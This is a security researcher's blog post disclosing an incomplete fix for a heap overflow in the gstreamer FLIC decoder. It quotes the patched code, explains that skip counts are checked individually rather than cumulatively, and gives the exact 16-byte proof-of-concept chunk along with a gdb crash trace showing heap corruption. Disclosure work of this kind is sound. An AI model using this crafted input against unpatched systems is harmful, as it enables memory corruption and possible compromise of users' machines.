[0day] [PoC] Incorrect fix for gstreamer FLIC decoder vulnerability CESA-2016-0004

Overview
Recently (Nov 21st, 2016), I published an 0day exploit against the gstreamer FLIC decoder, here on my blog.

The response time from gstreamer upstream was impressive: a patch in 1 day or so that fixed not only the immediate issue but also some similar bugs in other functions in the decoder. More on those other bugs in another post. Here is the git commit.

The response from Ubuntu, one of the distributions I use, was also fast. On Nov 22nd 2016, they published a gstreamer advisory: USN-3135-1. At the time of writing -- Nov 24th, 2016 -- I am not being offered patches for my Fedora 24 or Fedora 25 installs, by way of contrast.

Unfortunately, the fix was not 100% correct. Presented here is an 0day PoC (PoC, not exploit!) for the remaining memory corruption issue, along with a description of the code error.

The remaining vulnerability
Bounds checks were added for all three of the failure conditions I noted in my original blog post. The new code inside flx_decode_delta_fli() looks like this:

...
 start_line = (data[0] + (data[1] << 8));
 lines = (data[2] + (data[3] << 8));
 if (start_line + lines > flxdec->hdr.height) {
   GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. too many lines.");
   return FALSE;
 }
 data += 4;

 /* start position of delta */
 dest += (flxdec->hdr.width * start_line);
 start_p = dest;

 while (lines--) {
   /* packet count */
   packets = *data++;

   while (packets--) {
     /* skip count */
     guchar skip = *data++;
     dest += skip;

     /* RLE count */
     count = *data++;

     if (count > 0x7f) {
       /* literal run */
       count = 0x100 - count;

       if (skip + count > flxdec->hdr.width) {
         GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. "
             "line too long.");
         return FALSE;
       }

       x = *data++;
       while (count--)
         *dest++ = x;

There’s an attempt to make sure that the skip pixel count plus the number of pixels to write stays within the bounds of the canvas width. But there’s subtle problem: the format permits multiple skip and count pairs per canvas line. And the skip counts are considered individually rather than cumulatively. Therefore, it’s possible to get the skip + count check to pass while still writing off the end of the line. If we arrange to write off the end of the last line, we have a memory corruption.

Building a PoC
Building a PoC is not too complicated. We allocate a canvas buffer of dimensions 255 x 1. By having only one line, we ensure that any write off the end of the line will be a write off the end of the last line and therefore a memory corruption.

And then the main line of bytes inside the PoC file is:
10 00 00 00 0C 00 00 00 01 00 02 FF 00 00 80 41

This is a chunk of size 16 (10 00 00 00), type FLX_LC (0C 00). We start writing at line offset 0 (00 00) for 1 line (01 00). We write 2 packets of skip / count pairs (02). The first packet skips 255 bytes along the line, and writes 0 pixels (FF 00). This stays within bounds for the checks. The second packet skips 0 bytes further along (00) and writes 128 bytes (80) of value ‘A’ (41). The second packet passes the check because 0 + 128 is less than the width of 255. But that check didn’t take into account the fact that our first packet skipped 255 bytes along the line. So an out of bounds write results.

In the debugger:
gdb gst-play-1.0
(gdb) r crash_delta_fli_2.flx
Thread 2 "typefind:sink" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff49f3700 (LWP 9257)]
_int_malloc (av=av@entry=0x7ffff0000020, bytes=bytes@entry=32) at malloc.c:3725
(gdb) disass $rip,$rip+10
Dump of assembler code from 0x7ffff6389c4e to 0x7ffff6389c58:
=> 0x00007ffff6389c4e <_int_malloc>: mov    0x18(%r15),%rax
(gdb) p/x $r15
$1 = 0x4141414141414141
That looks like heap metadata corruption -- not good. This vulnerability offers similar power to the original one, but with less “range” in terms of how far forward into the heap it is possible to corrupt. Still, it would be foolish to propose this isn’t exploitable.

You can refer to this new vulnerability as CESA-2016-0011. The original cluster of issues was CESA-2016-0004.

You can download the PoC from here: crash_delta_fli_2.flx.

Closing notes

Happy Thanksgiving!